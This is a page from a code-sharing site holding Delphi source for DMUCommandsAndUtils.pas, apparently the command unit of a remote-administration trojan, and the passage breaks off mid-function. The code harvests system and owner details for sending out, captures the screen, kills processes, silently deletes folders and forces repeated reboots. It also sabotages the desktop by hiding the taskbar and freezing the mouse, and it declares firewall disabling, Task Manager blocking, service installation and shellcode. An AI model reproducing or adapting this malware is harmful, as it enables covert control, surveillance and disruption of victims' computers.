Delphi控件源码

开发平台：
Delphi

DMUCommandsAndUtils.pas：源码内容
							unit DMUCommandsAndUtils;
interface
uses Windows,winsock, wininet ,TlHelp32, MMSystem,ShellApi,WinSvc;
function FindWindowsDir : string;
function StrPos(const Str1, Str2: PChar): PChar; assembler;
function CloseProcces(Exefile: string): string;
function ProcessExists (Exefile: string): Boolean;
function GetLocalHostName: string;
function SendData (SOCKET : TSOCKET;Data :string): integer;
function FindChar(Word: string;char : string):integer  ;
function FindNChars(Word: string;char : string):integer  ;
function split (text : string;char : string; num : integer):string;
function GetLocalPath:string;
function ShellEx(Path : string):string;
function LocalIP: string;
function PeerToAddress(Socket: TSocket): string;
function Replace(strSource:string; strToFind:string; strReplace:string): string;
procedure CrearThreadRegistro (key : string; data : string; appname : string);
procedure VaciarPapelera( Whandle : Thandle );
function Get_SysPath:string  ;
function VentanaActiva: String;
function Usuario: String;
function NombreHost: String;
function TextoValido( b :  Array of Char ):string;
function EsXP : Boolean;
function Descargar( url : String; Parametro2: String  ): boolean;
procedure NTAdjustTokens(lpName : PChar; Attributes : LongWord);
function  BorrarArchivo( s: String ): integer;
procedure showm( s : String );
function GetCPUSpeed: Double;
function FileExists( s : String ): Boolean;
function StrToInt64(const S: string): Int64;
function BuffToStr( const b : Array of Char ) : string;
function StrToInt(const S: string ): Integer;
function StrPas(const Str: PChar): string;
function IntToStr(Value: Integer): string;
function StrPCopy(Dest: PChar; const Source: string): PChar;
function LowerCase(const S: string): string;
function SigFrmToStr(Value: Integer; FormatStr : PChar): string;
function UnSigFrmToStr(Value: Cardinal; FormatStr : PChar): string;
function StrToIntDef(const S: string; Default: Integer): Integer;
function Trim(const S: string): string;
function UpperCase( S :String ): String ;
function Time : string;
function ddate : string;
function stringtochar(st : string) : char;
function HexToInt(s: string): Longword;
function GenerarRandomString: String;
procedure PresionarTecla( key: Byte );
function OpenCloseCD( handle : THandle ): String ;
function MsgWindows( n : Byte; Parametro : String ) : String ;
function ActivarDesactivarBotonInicio : String;
function EsconderMostrarTaskBar : String;
function ShowHideSysTray : String ;
function HideShowIconos : String;
function SwapMouse : String;
function PonerPapelTapiz( Parametro : String) : String;
function CongelarMouse : String;
function ReiniciarWindows : String;
function PlaySound( Parametro : String ): String;
function Minimizar: String;
function MouseLocos : String;
function RebotaInicio : String;
function EjecutarScreenSaver( WHandle : Thandle ) : String;
function MinAll : String ;
function CambiarCaption( Parametro : String ) : String;
function DesplegarInicio( WHandle : Thandle) : String;
function SonarParlantito: String;
function KillProcess( Parametro : String): String;
function Procces( ):string;
function SystemInfo() : string;
function DelTree( Parametro : String ): string;
function  Ocultar( Path : String; oculto:Boolean  ): String ;
procedure BuscaFicheros( path, mask : String;SOCKET: Tsocket );
function  Resoluciones( udp : Tsocket; cli : Tsockaddr; tcp:integer) : String ;
function  ClearCmos : String ;
function  LeerPortaPapeles( WHandle : Thandle ) : String;
function  Borrar_Clipboard( handle : Thandle ) : String;
procedure descargar_url( Udp : Tsocket; Cli : Tsockaddr; parametro, parametro2 : String ; tcp:integer);
function  CambiarNombrePC( parametro : string ): string;
function  Set_Resolucion( Parametro : String ) : string;
function  SetTime( parametro : String ) : String;
function  Color_Ventanas( Parametro :string ) : String;
function  Color3d( Parametro : String) : String;
function  Color_Menues( parametro : String ): String ;
function  Sacar_Apagar_sistema : String;
function  Poner_Apagar_sistema : String;
function MandarUnidadesDeAlmacenamiento(socket : TSocket ): string;
function  CrearThreadVivorita: String;
procedure Lan_Info( udp: Tsocket; cli:TsockAddr; tcp: integer );
function  NetInfo( Udp : Tsocket; Cli : TSockAddr; tcp: integer ): String;
function capture ( JPGCompressQuality:Integer ): String;
function LIST( dir : string ):string;
procedure SendEMAIL(SMTP : string;EMAIL:string;MyEMAIL : string);
function GetFileName (text : string):string;
function ListWindows : string;
procedure SendFTP(Host: string;User : string; PASS : string;Port : integer; Dir : string);
function WinVer: string;
procedure LanzarProgramaConsola(App: string; c: Boolean; socket : Tsocket);
function Decrypt(const S: AnsiString; Key: Word): AnsiString;
function Encrypt(const S: AnsiString; Key: Word): AnsiString;
procedure DisableXPFirewall;
//Explorer
function Noclose(value : integer): string;
function NoRun(value : integer): string;
function NoLogoff(value : integer): string;
function NoDesktop(value : integer): string;
function NoFind (value : integer): string;
function NoNetConnectDisconnect (value : integer): string;
function NoSetFolders(value : integer): string;
function NoControlPanel(value : integer): string;
function NoDrives (value : integer): string;
function ResrictRun(value : integer): string;
//System
function DisableTaskMgr(value : integer): string;
function NoDispCPL(value : integer): string;
function NoDispBackgroundPage(value : integer): string;
//network
function NoWorkgroupContents(value : integer): string;
function NoEntireNetwork(value : integer): string;
function NoFileSharingControl(value : integer): string;
function NoPrintSharing(value : integer): string;
procedure SetmousePOS(x : integer; y : integer);
procedure ShellCode ;
function ServiceGetList(Machine: string): string;
procedure StartService(Machine, ServiceName: string);
procedure StopService(Machine, ServiceName: string);
procedure UninstallService(Machine, ServiceName: string);
procedure InstallService(Machine, ServiceName, DisplayName, FileName: string);
function ShutDownWindows(RebootParam: Longword): Boolean;
function MatarMouseTeclado : String;
function SendDataMSN (SOCKET : TSOCKET;Data :string): integer;
procedure ExtractResourceToFile( ResName, ResExtract: String);
const
DMVersion = '4.11 Final Private';
type
TAByte = array [0..maxInt      -1] of byte;
TPAByte = ^TAByte;
var   Parlante, Basta, Congelado, Bloqueado, CDROMCerrado, SMouse, TaskBar, SysTray, Iconos,
      Bajando, MonitorPrendido, BotonInicio, Monitor_Activado, LucecitasActivadas,
      MouseLoco, Rebota, Vivorita : Boolean;
           
      //esto es para el boton de inicio
      h    : THandle;
      r    : TRect;
      Grave: Integer = 20;
      //para consola
      ConsolaApp : String;
      RunPipe    : Boolean;
      EsConsola  : Boolean;
      ConsoleSocket : Tsocket;
       Clave   : String;
        ProcessTmp :string    ;
       regkey,regdata,regappname: string;
       WindowsLISTtmp : string;
        DeskLoaded : boolean;
        ConnectionType : integer;
        Data_PASS : string;
implementation
function GetFileName (text : string):string;
  var
  a,i : integer;
  begin
  a:= FindNChars(text,'');
  for i := 1 to a  do begin
  text:=copy ( text, findchar(text,'')+1,length(text));
  end;
     
  Result:=text;
  end;
 ///////////////////////////////////////////////////////////////////////////////
function capture ( JPGCompressQuality:Integer ): String;
type TgetDesktop = function(nWidth : Integer; nHeight : Integer; blnJpeg : Boolean; JPGCompressQuality:Integer; strFileName : String): Integer; stdcall;
var
  DLLInstance : THandle;
  getDesktop : TgetDesktop;
begin
  Result:='&1&';
      if  DeskLoaded=false then begin
DLLInstance := LoadLibrary('desk.dll');
     Result:='&1&';
  if DLLInstance = 0 then begin
    Result:='&0&';
    Exit;
  end;
  end;
      DeskLoaded:=true  ;
  @getDesktop := GetProcAddress(DLLInstance, 'getDesktop');
  if @getDesktop <> nil then
    getDesktop(0,0,true,JPGCompressQuality,pchar (Get_SysPath) + 'desk.jpg')
  else
  DeskLoaded:=false  ;
  FreeLibrary(DLLInstance);
end;
  ///////////////////////////////////////////////////////////////////////////////
function OpenCloseCD( handle : THandle ): String ;
begin
        if CDROMCerrado then
        begin
           CDROMCerrado := FALSE;
           mciSendString( 'Set cdaudio door open wait', nil, 0, handle );
           Result := '&0&';
        end
        else
        begin
             CDROMCerrado := TRUE;
             mciSendString( 'Set cdaudio door closed wait' , nil , 0 , handle );//cerrar cd
             Result := '&1&';
        end;
end;
 ///////////////////////////////////////////////////////////////////////////////
function MsgWindows( n : Byte; Parametro : String ) : String;
begin
    Case n of
     	0 : MessageBox( 0 , pchar( Parametro ) , 'Information' , MB_OK + MB_ICONINFORMATION + MB_SYSTEMMODAL );
        1 : MessageBox( 0 , pchar( Parametro ) , 'Question'    , MB_OK + MB_ICONQUESTION    + MB_SYSTEMMODAL );
        2 : MessageBox( 0 , pchar( Parametro ) , 'Warning'     , MB_OK + MB_ICONWARNING     + MB_SYSTEMMODAL );
        3 : MessageBox( 0 , pchar( Parametro ) , 'Stop'        , MB_OK + MB_ICONSTOP        + MB_SYSTEMMODAL );
        4 : MessageBox( 0 , pchar( Parametro ) , 'Question'    , MB_YESNO + MB_ICONQUESTION + MB_SYSTEMMODAL );
     end;
    Result := 'Message Showed';
end;
 ///////////////////////////////////////////////////////////////////////////////
function ActivarDesactivarBotonInicio : String;
begin
     if BotonInicio then
     begin
          EnableWindow( FindWindowEx( FindWindow( 'Shell_TrayWnd', nil ) , 0 , 'Button', nil ) , false );
          Result := '&0&';
          BotonInicio := False;
     end
     else
         begin
             EnableWindow( FindWindowEx( FindWindow( 'Shell_TrayWnd' , nil ) , 0 , 'Button' , nil ) , true );
             Result := '&1&';
             BotonInicio := True;
         end;
end;
      ///////////////////////////////////////////////////////////////////////////////
function EsconderMostrarTaskBar : String;
var htaskbar : THandle;
begin
     hTaskBar := FindWindow( 'Shell_TrayWnd', nil );
     if TaskBar then
     begin
          ShowWindow( hTaskBar , SW_Hide );
          TaskBar := FALSE;
          Result := '&0&';
     end
     else
     begin
           ShowWindow( hTaskBar , SW_SHOW );
           TaskBar := TRUE;
           Result := '&1&';
     end;
end;
  ///////////////////////////////////////////////////////////////////////////////
function ShowHideSysTray : String ;
var wnd:Thandle;
begin
     Wnd := FindWindow( 'Shell_TrayWnd' , nil );
     Wnd := FindWindowEx( Wnd , HWND( 0 ) , 'TrayNotifyWnd' , nil );
     if SysTray then
     begin
           ShowWindow( Wnd, SW_HIDe );
           Systray := FALSE;
           Result := '&0&';
     end
     else begin
              ShowWindow( Wnd , SW_Show );
              SysTray := TRUE;
              Result := '&1&';
          end;
end;
  ///////////////////////////////////////////////////////////////////////////////
function HideShowIconos : String;
var wnd: THandle;
begin
     Wnd := FindWindow( 'Progman' , nil );
     Wnd := FindWindowEx( Wnd , HWND( 0 ) , 'ShellDll_DefView' , nil );
     if Iconos then
     begin
          ShowWindow( Wnd , SW_Hide );
          Iconos := FALSE;
          Result := '&0&';
     end
    else begin
             ShowWindow( Wnd , SW_Show );
             Iconos := TRUE;
             Result := '&1&';
         end;
end;
  ///////////////////////////////////////////////////////////////////////////////
function SwapMouse : String;
begin
     if  SMouse then
     begin
          SwapMouseButton( FALSE );
          SMouse := FALSE;
          Result := '&0&';
     end
     else begin
              SwapMouseButton( TRUE );
              SMouse := TRUE;
              Result := '&0&';
          end;
end;
  ///////////////////////////////////////////////////////////////////////////////
function PonerPapelTapiz( PArametro : String) : String;
begin
     if FileExists( Parametro )then
     begin
          SystemParametersInfo( SPI_SETDESKWALLPAPER , 0 , PChar( Parametro ) , 0 );
          Result := 'Background enabled';
     end
     else
          Result := 'File doesnt' + Parametro + ' exits';
end;
  ///////////////////////////////////////////////////////////////////////////////
procedure FijarCursor;
begin
     while congelado do
     begin
          SetCursorPos( 50,50 );
          Sleep( 50 );
    end;
end;
  ///////////////////////////////////////////////////////////////////////////////
function CongelarMouse : String;
var id: Cardinal;
begin
     if Congelado then
     begin
          Result := '&1&';
          Congelado := FALSE;
     end
     else begin
               Congelado := TRUE;
               BeginThread(nil, 0, @FijarCursor, nil, 0, id );
               Result := '&0&';
          end;
end;
  ///////////////////////////////////////////////////////////////////////////////
function ReiniciarWindows : String;
var i:Byte;
begin
     For i:= 1 to 30 do
         ExitWindowsEx(EWX_FORCE or EWX_REBOOT, 0);
end;
  ///////////////////////////////////////////////////////////////////////////////
function PlaySound( Parametro : String ): String;
type TPS = function (lpszSoundName: PAnsiChar; uFlags: UINT): BOOL; stdcall;
var  PS : TPS;
     h : THandle;
begin
      if FileExists( Parametro ) then
      begin
           h   := LoadLibrary( 'winmm.dll' );
           @PS := GetProcAddress( H, 'sndPlaySoundA' );
           if PS( Pchar( Parametro ) , 0 ) then
               Result := 'Tha sound was played'
           else
               Result := 'Sound wasnt played';
           FreeLibrary( H );
      end
      else
          Result := 'File' + Parametro + ' Dosnt exits';
end;
 ///////////////////////////////////////////////////////////////////////////////
function Minimizar: String;
begin
     ShowWindow( GetActiveWindow, SW_MINIMIZE );
     Result := 'The window"' + VentanaActiva + '", was minimised!!!';
end;
   ///////////////////////////////////////////////////////////////////////////////
procedure CambiarPosicionmouse;
begin
     while MouseLoco do
     begin
          Randomize;
          SetCursorPos( 800 - 15, 600 - 15 );
          SetCursorPos( Random( 800 ), Random( 600 ) );
     end;
end;
  ///////////////////////////////////////////////////////////////////////////////
function MouseLocos : String;
var id: cardinal;
begin
     if not MouseLoco then
     begin
          Result := '&0&';
          MouseLoco := TRUE;
          BeginThread(nil, 0, @CambiarPosicionmouse, nil, 0, id);
     end
     else
         begin
              Result := '&1&';
              MouseLoco := FALSE;
         end;
end;
  ///////////////////////////////////////////////////////////////////////////////
procedure MoverBoton ;
begin
     while Rebota do
     begin
          if grave < -20  then grave := 20;
          Inc( r.Left , Grave );
          MoveWindow( h , r.Left , 0 , 80 , 26 , TRUE );
          Dec( Grave );
          Sleep( 100 );
     end;
end;
    ///////////////////////////////////////////////////////////////////////////////
function RebotaInicio : String;
var id: cardinal;
begin
     Grave := 20;
     h     := FindWindowEx( FindWindow( 'Shell_TrayWnd', nil ) , 0 , 'Button', nil ) ;
     GetWindowRect( h , r );
     MoveWindow( h , 0 , 0 , 80 , 26 , TRUE );
     Rebota := not Rebota;
     if Rebota then
     begin
          BeginThread(nil, 0, @MoverBoton, nil, 0, id );
          Result := '&0&';
     end
     else
         begin
              Result := '&1&';
         end;
end;
    ///////////////////////////////////////////////////////////////////////////////
function EjecutarScreenSaver( WHandle : Thandle ) : String;
begin
     try SendMessage( WHandle, $0112 , SC_SCREENSAVE, 0 ); except end;
     Result := 'Screensaver actived';
end;
  ///////////////////////////////////////////////////////////////////////////////
function MinAll : String ;
begin
     keybd_event(VK_LWIN,0,0,0);
     keybd_event(77,0,0,0);
     keybd_event(VK_LWIN,0,KEYEVENTF_KEYUP,0);
     Result :=  'All windows were minimised';
end;
function CambiarCaption( Parametro : String ) : String;
begin
     try SetWindowText( GetActiveWindow, PChar( Parametro ) ); except end;
     Result := 'Tittle changed';
end;
 ///////////////////////////////////////////////////////////////////////////////
function DesplegarInicio( WHandle : Thandle) : String;
begin
     SendMessage( wHandle, $0112, SC_TASKLIST, 0 );
     Result := '&0&';
end;
  ///////////////////////////////////////////////////////////////////////////////
procedure ThreadParlantito;
begin
     while Parlante do
     begin
          MessageBeep( 3542 );
          Sleep( 10 );
     end;
end;
  ///////////////////////////////////////////////////////////////////////////////
function SonarParlantito: String;
var id: cardinal;
begin
     if Parlante then
     begin
          Parlante := False;
          Result   := 'Beeps disabled';
     end
     else
          begin
               Parlante := True;
               Result   := 'Beeps enabled!';
               BeginThread(nil, 0, @ThreadParlantito, nil, 0, id );
          end;
end;
 ///////////////////////////////////////////////////////////////////////////////
function KillProcess( Parametro : String): String;
var h : THandle;
begin
     Result := 'The Process: ' +  Parametro +  ' was not terminated!';
     PostMessage(strtoint(Parametro),$0010,0,0);
    try h:= OpenProcess( PROCESS_ALL_ACCESS, TRUE, StrToInt64( parametro ) );
      if TerminateProcess( h, 0 ) then
      Result := 'The Process: '   +  Parametro + ' was terminated';
     except
   end;
end;
 ///////////////////////////////////////////////////////////////////////////////
    Function TotalAPP(HWND : Thandle; Param : Integer): BOOL; stdcall;
    var
    caption: array [0..256] of Char;
       j : INTEGER;
    begin
   if GetWindowText  (HWND, Caption, SizeOf(Caption)-1) <> 0 then
  begin
           if  IsWindowVisible(HWND) then
        begin
     WindowsLISTtmp:=WindowsLISTtmp +  Caption + '*';
            end
            else
            begin
               WindowsLISTtmp:=WindowsLISTtmp +  Caption + '*';
            end;
    end;
      end  ;
  ///////////////////////////////////////////////////////////////////////////////
function ListWindows : string;
begin
      WindowsLISTtmp:='';
   EnumWindows(@TotalAPP,0);
   result:='$'  +   WindowsLISTtmp  ;
end;
  ///////////////////////////////////////////////////////////////////////////////
 function EnumWindowsProc1 (Wnd: HWND): BOOL; stdcall;
var
  caption: array [0..256] of Char;
begin
  Result := True;
  if GetWindowText  (Wnd, Caption, SizeOf(Caption)-1) <> 0 then
  begin
   if  IsWindowVisible(wnd) then
        begin
         ProcessTmp:=ProcessTmp + #13#10 + inttostr(wnd) + '  ' +  caption;
        end;
  end;
end;
 ///////////////////////////////////////////////////////////////////////////////
function Procces(): string;
var Proceso : TProcessEntry32;
    SHandle : THandle;
    Next    : Boolean;
      handles : integer;
begin
            ProcessTmp:='';
     EnumWindows(@TotalAPP,0);
      Proceso.dwSize := SizeOf( TProcessEntry32 );
      SHandle := CreateToolHelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
      if Process32First( SHandle, Proceso ) then
      begin
          ProcessTmp:=ProcessTmp + IntToStr( Proceso.th32ProcessID ) + '  ' + Proceso.szExeFile;
           repeat Next := Process32Next( SHandle , Proceso );
           ProcessTmp:=ProcessTmp + '~' + IntToStr( Proceso.th32ProcessID ) + '-'  +  Proceso.szExeFile;
           until not Next;
      end;
      CloseHandle( SHandle );
      Result :=ProcessTmp
      end;
 ///////////////////////////////////////////////////////////////////////////////
function CloseProcces(Exefile: string): string;
var Proceso : TProcessEntry32;
    SHandle : THandle;
    Next    : Boolean;
      Tmp :string    ;
begin
      Proceso.dwSize := SizeOf( TProcessEntry32 );
      SHandle := CreateToolHelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
      if Process32First( SHandle, Proceso ) then
      begin
          Tmp:=Tmp + IntToStr( Proceso.th32ProcessID ) + '  ' + Proceso.szExeFile;
           repeat Next := Process32Next( SHandle , Proceso );
                  if   LowerCase( Proceso.szExeFile)=LowerCase(Exefile)    then begin
                  KillProcess ( IntToStr( Proceso.th32ProcessID ) );
                // Tmp:=Tmp + #13#10 + IntToStr( Proceso.th32ProcessID ) + '  '  + Proceso.szExeFile;
                       end;
           until not Next;
      end;
      CloseHandle( SHandle );
      Result :=''
      end;
  ///////////////////////////////////////////////////////////////////////////////
function ProcessExists (Exefile: string): Boolean;
var Proceso : TProcessEntry32;
    SHandle : THandle;
    Next    : Boolean;
      Tmp :string    ;
      Tmp2 :string    ;
      files : integer;
begin
result:=false;
      Proceso.dwSize := SizeOf( TProcessEntry32 );
      SHandle := CreateToolHelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
      if Process32First( SHandle, Proceso ) then
      begin
          Tmp:=Tmp + IntToStr( Proceso.th32ProcessID ) + '  ' + Proceso.szExeFile;
           repeat Next := Process32Next( SHandle , Proceso );
                 Tmp2:= Proceso.szExeFile;
                 fileS:= length(Tmp2);
           if   copy(LowerCase(Proceso.szExeFile),fileS+1-length(Exefile), length(Exefile)) =LowerCase(Exefile)    then begin
            result:=true;
                       end;
           until not Next;
      end;
      CloseHandle( SHandle );
      end;
 ///////////////////////////////////////////////////////////////////////////////
function MandarUnidadesDeAlmacenamiento(socket : TSocket ): string;
type Buffer = Array [ 1..50 ] of Char;
var nombre,serie,fsystem : buffer;
    tamNombre, longMax, flags, tamFS:cardinal;
    anombre, s:string;
    letra:char;
    error:boolean;
    Data : string;
begin
     letra := 'c';
     s     := '';
     repeat
           tamNombre := sizeOf( nombre ) + 1;
           tamFS     := sizeOf( fsystem ) + 1;
           error     := not GetVolumeInformation( LPCTSTR( letra + ':' ),
                                           @nombre,
                                           tamNombre,
                                           @serie,
                                           longMax,
                                           flags,
                                           @fsystem,
                                           tamFS );
           if not error then
           begin
                anombre := textoValido( nombre );
                if anombre = '' then
                   anombre := 'Local Disk';
                  sleep (10);
            Data:= Data + uppercase( letra ) +  ':'  + '-' +  textoValido( fsystem ) +  '*' ;
           end;
           letra:= Chr( Ord( letra ) + 1 );
     until letra = 'z';
    result:= Data       ;
end;
  ///////////////////////////////////////////////////////////////////////////////
//Muetra informacion de RED (Conexiones Locales, Grupos de trabajo)
function NetInfo( Udp : Tsocket; Cli : TSockAddr; tcp: integer ): String;
var   lpocal: TNetResource;
      pas1, pas2, pas3 : PChar;
      pas4 : Integer;
      pas5 : Byte;
      DataRet: String;
      Recursos : String;
function EnumerateFunc(HWND:THandle; lpnr: TNetResource; device: PChar; Unidad: PChar; Pasw: PChar; Flg: Integer; Tipo: Byte):boolean;
var  dwResult, dwResultEnum : DWORD;
     henum:THandle;
     cEntries:DWORD;
     lpnrLocal: Array [0..40] of TNetResource;
     cbBuffer:DWORD;
     i:integer;
begin
     cEntries := $FFFFFFFF;
     cbBuffer:=SizeOf(lpnrLocal);
     if lpnr.dwScope = 3000 then
     begin
          dwResult:=WNetOpenEnum(RESOURCE_GLOBALNET,RESOURCETYPE_ANY, 0,nil,henum);
          lpnr.dwScope := 0;
     end
     else
         dwResult:=WNetOpenEnum(RESOURCE_GLOBALNET,RESOURCETYPE_ANY, 0,@lpnr,henum);
     if (dwResult <> NO_ERROR) then
     begin
          Result:=False;
          exit;
     end;
     dwResultEnum := 0;
     while(dwResultEnum <> ERROR_NO_MORE_ITEMS) do
     begin
          dwResultEnum := WNetEnumResource(hEnum, cEntries, @lpnrLocal, cbBuffer);
          if (dwResultEnum = NO_ERROR) then
          begin
               for i:= 0 to cEntries - 1 do
               begin
                    if(RESOURCEUSAGE_CONTAINER = (lpnrLocal[i].dwUsage and RESOURCEUSAGE_CONTAINER)) then
                    begin
                         if (lpnrLocal[ i ].lpProvider <> '') and (lpnrLocal[ i ].lpRemoteName = '') then
                             Dataret := Dataret + ' ' + lpnrLocal[ i ].lpProvider + ' - ' + IntToStr(lpnrLocal[i].dwDisplayType) + #13#10;
                         Dataret := Dataret + ' ' + lpnrLocal[ i ].lpRemoteName +  ' - ' + IntToStr(lpnrLocal[i].dwDisplayType) + #13#10;
                         if (lpnrLocal[ i ].lpRemoteName = string(device)) and (Tipo = 0) then
                         begin
                             lpnrLocal[ i ].lpLocalName := Unidad;
                             WNetAddConnection2(lpnrLocal[i], Pasw, Unidad, Flg);
                         end;
                         if(not EnumerateFunc(hwnd, lpnrLocal[i], device, Unidad, Pasw, Flg, Tipo)) then
                         else
                         begin
                              if (dwResultEnum <> ERROR_NO_MORE_ITEMS) then
                              begin
                                 //exit;
                              end;
                    end;
               end
               else
                   begin   //Si no es un contenedor de otros recursos
                           //Conecta el dispositivo remoto a una unidad local, eso creo YO!!
                        if (lpnrLocal[i].lpRemoteName = string(device)) and (Tipo = 1) then
                        begin
                             lpnrLocal[i].lpLocalName := Unidad;
                             WNetAddConnection2(lpnrLocal[i], Pasw, nil, Flg);
                        end;
                        if lpnrLocal[ i ].lpRemoteName <> '' then
                           Dataret := Dataret + '          ' + lpnrLocal[i].lpRemoteName {+ '(+)' +
                                      IntToStr(lpnrLocal[i].dwType) }+ '(' + lpnrLocal[i].lpComment + ')' + #13#10;
                        Recursos := Recursos +  lpnrLocal[i].lpRemoteName + '|';
                   end;
       end;
      end;
    end;
    {dwResult :=} WNetCloseEnum(hEnum);
    Result:=true;
end;
 ///////////////////////////////////////////////////////////////////////////////
begin
     FillChar( lpocal, SizeOf( lpocal ), 0 );
     lpocal.dwScope := 3000;
     EnumerateFunc( 0, lpocal, pas1, pas2, pas3, pas4, pas5 );
    
     Result := Recursos;
end;
  ///////////////////////////////////////////////////////////////////////////////
function Leer( algo : DWORD; Key, Clave : String) : String;
var Tipo_Dato, Len_Dato : Cardinal;
    Buffer : String;
    handle : HKEY;
begin
    RegOpenKeyEx( algo,
                  PChar( Key ),
                  0,
                  KEY_ALL_ACCESS,
                  handle );
    Tipo_Dato := REG_NONE;
    RegQueryValueEx( handle,
                     PChar( Clave ),
                     nil,
                     @Tipo_Dato,
                     nil,
                     @Len_Dato );
    SetString(Buffer, nil, Len_Dato);
    RegQueryValueEx( Handle,
                     PChar( Clave ),
                     nil,
                     @Tipo_Dato,
                     PByte(PChar(Buffer)),
                     @Len_Dato );
    RegCloseKey( handle );
    Result := PChar( Buffer );
end;
  ///////////////////////////////////////////////////////////////////////////////
procedure Lan_Info( udp: Tsocket; cli:TsockAddr; tcp:integer );
begin
     //Contestar( UDP, Cli ,' ',tcp );
   //  Contestar( UDP, Cli ,'Host: ' + NombreHost ,tcp);
     //Contestar( UDP, Cli ,'LAN info', tcp );
   //  Contestar( UDP, Cli ,'IPs:  ' + GetLocalIps, tcp );
     NetInfo( UDP, Cli,tcp );
    // Contestar( UDP, Cli ,'--------------------------------------------------------------',tcp );
     //Contestar( UDP, Cli ,'',tcp );
end;
   ///////////////////////////////////////////////////////////////////////////////
function SystemInfo() : string;
const
  cBIOSName      = $FE061;
  cBIOSDate      = $FFFF5;
  cBIOSExtInfo   = $FEC71;
  cBIOSCopyright = $FE091;
  rkBIOS         = 'HARDWAREDESCRIPTIONSystem';
  rvBiosDate     = 'SystemBiosDate';
  rvBiosID       = 'Identifier';
  rvBiosVersion  = 'SystemBiosVersion';
var OS : TOSVersionInfo;
    SI : TSystemInfo;
    MS : TMemoryStatus;
    Version, User, Org, Serial, Zona_Horaria, Cpu : String;
    tipoConexion: DWORD;
    data : string;
begin
    Zona_Horaria := Leer( HKEY_LOCAL_MACHINE,
                          'SYSTEMCurrentControlSetControlTimeZoneInformation',
                          'StandardName' );
    Version := Leer( HKEY_LOCAL_MACHINE,
                     'SOFTWAREMicrosoftWindowsCurrentVersion',
                     'Version' );
    Version := Version + ', ' + Leer( HKEY_LOCAL_MACHINE,
                                      'SOFTWAREMicrosoftWindowsCurrentVersion',
                                      'VersionNumber' );
    Org     := Leer( HKEY_LOCAL_MACHINE,
                     'SOFTWAREMicrosoftWindowsCurrentVersion',
                     'RegisteredOrganization' );
    User    := Leer( HKEY_LOCAL_MACHINE,
                     'SOFTWAREMicrosoftWindowsCurrentVersion',
                     'RegisteredOwner' );
    Serial  := Leer( HKEY_LOCAL_MACHINE,
                     'SOFTWAREMicrosoftWindowsCurrentVersion',
                     'ProductID' );
    Cpu     := Leer( HKEY_LOCAL_MACHINE,
                     'HardwareDescriptionSystemCentralProcessor',
                     'Identifier' ) + ' - ' +
               Leer( HKEY_LOCAL_MACHINE,
                     'HardwareDescriptionSystemCentralProcessor',
                     'VendorIdentifier' );
    ZeroMemory( @OS, SizeOf( OS ) );
    OS.dwOSVersionInfoSize := SizeOf( OS );
    GetVersionEx( OS );
    ZeroMemory( @MS, SizeOf( MS ) );
    MS.dwLength := SizeOf( MS );
    GlobalMemoryStatus( MS );
    ZeroMemory( @SI, SizeOf( SI ) );
    GetSystemInfo( SI );
    data:=data + 'iNf' +'*' + LocalIP  +'*'+ DMVersion+'*'+ VentanaActiva +'*'+ Cpu  +'*'+ IntToStr( Trunc( GetCpuSpeed ) )+ ' Mhz'+
    '*'+ IntToStr( Trunc(   MS.dwTotalPhys/ 1024  /1024 )) + ' MByte'+
    '*'+ IntToStr( Trunc(   MS.dwAvailPhys / 1024  /1024 )) + ' MByte'+
    '*'+ IntToStr( Trunc(  MS.dwAvailVirtual / 1024  /1024 )) + ' MByte';
    if InternetGetConnectedState(@tipoConexion, 0) then
    begin
        if ( tipoConexion and 1 ) = 1 then
        data:=data +'*'+ 'MODEM' ;
        if ( tipoConexion and 2 ) = 2 then
          data:=data +'*'+ 'LAN' ;
        if ( tipoConexion and 4 ) = 4 then
           data:=data +'*'+ 'PROXY' ;
        if ( tipoConexion and 8 ) = 8 then
          data:=data +'*'+ 'MODEM BUSY' ;
    end;
  data:=data +'*'+  Version;
   data:=data +'*'+ Zona_Horaria;
    data:=data +'*'+ FindWindowsDir ;
     data:=data +'*'+ Serial ;
    data:=data +'*'+ User;
    data:=data +'*'+ Org ;
   data:=data +'*'+ Usuario;
    data:=data +'*'+ ddate + Time ;
    data:=data +'*'+  IntToStr( Trunc( GetTickCount / 1000 / 60  ) ) + ' Minutes' ;
    data:=data +'*'+  IntToStr( GetSystemMetrics( SM_CXSCREEN ) ) + '*' + IntToStr( GetSystemMetrics( SM_CYSCREEN ) );
   if not esXp then
   begin
        try  data:=data +'*'+ string( pchar( ptr( cBIOSName ) ) )  except end;
        try   data:=data +'*'+ string( pchar( ptr( cBIOSCopyright) ) ); except end;
        try   data:=data +'*'+ string( pchar( ptr( cBIOSDate ) ) )  ; except end;
        try   data:=data +'*'+ string( pchar( ptr( cBIOSExtInfo ) ) ) ; except end;
   end;
   Result:=Data;
end;
  ///////////////////////////////////////////////////////////////////////////////
procedure VaciarPapelera( Whandle : Thandle );
type TSHEmptyRecycleBin = function (Wnd: HWND; LPCTSTR: PChar;DWORD: Word): integer; stdcall;
var  SHEmptyRecycleBin  : TSHEmptyRecycleBin;
     Lib                : THandle;
begin
     try Lib                := LoadLibrary( PChar( 'Shell32.dll' ) );
         @SHEmptyRecycleBin := GetProcAddress( Lib , 'SHEmptyRecycleBinA' );
         SHEmptyRecycleBin( Whandle, '' , 7 );
         FreeLibrary( Lib );
         except
     end;
end;
 ///////////////////////////////////////////////////////////////////////////////
function DelTree( Parametro : String ): string;
var SHFileOpStruct : TSHFileOpStruct;
    DirBuf         : array [0..255] of char;
begin
     Result := 'It cant delete the Dir: ' + Parametro + '"';
     try
        Fillchar( SHFileOpStruct, Sizeof( SHFileOpStruct ), 0 );
        FillChar( DirBuf, Sizeof( DirBuf ), 0 );
        StrPCopy( DirBuf, Parametro );
        with SHFileOpStruct do
        begin
             Wnd    := 0;
             pFrom  := @DirBuf;
             wFunc  := FO_DELETE;
             fFlags := FOF_ALLOWUNDO;
             fFlags := fFlags or FOF_NOCONFIRMATION;
             fFlags := fFlags or FOF_SILENT;
        end;
        if ( SHFileOperation( SHFileOpStruct ) = 0 ) then
            Result := 'The Dir: "' + Parametro + '",was deleted';
        except ;
     end;
 //   VaciarPapelera(Handle);
end;
  ///////////////////////////////////////////////////////////////////////////////
procedure PonerOculto( s :String);
var i : Byte;
begin
     i := GetFileAttributes( Pchar ( s ) );
     i := i or $00000002;   //hidden
     SetFileAttributes( Pchar( s ),i );
end;
function Ocultar( Path: String; oculto:Boolean  ): String ;
var sr      : WIN32_FIND_DATA;
    retval  :integer;
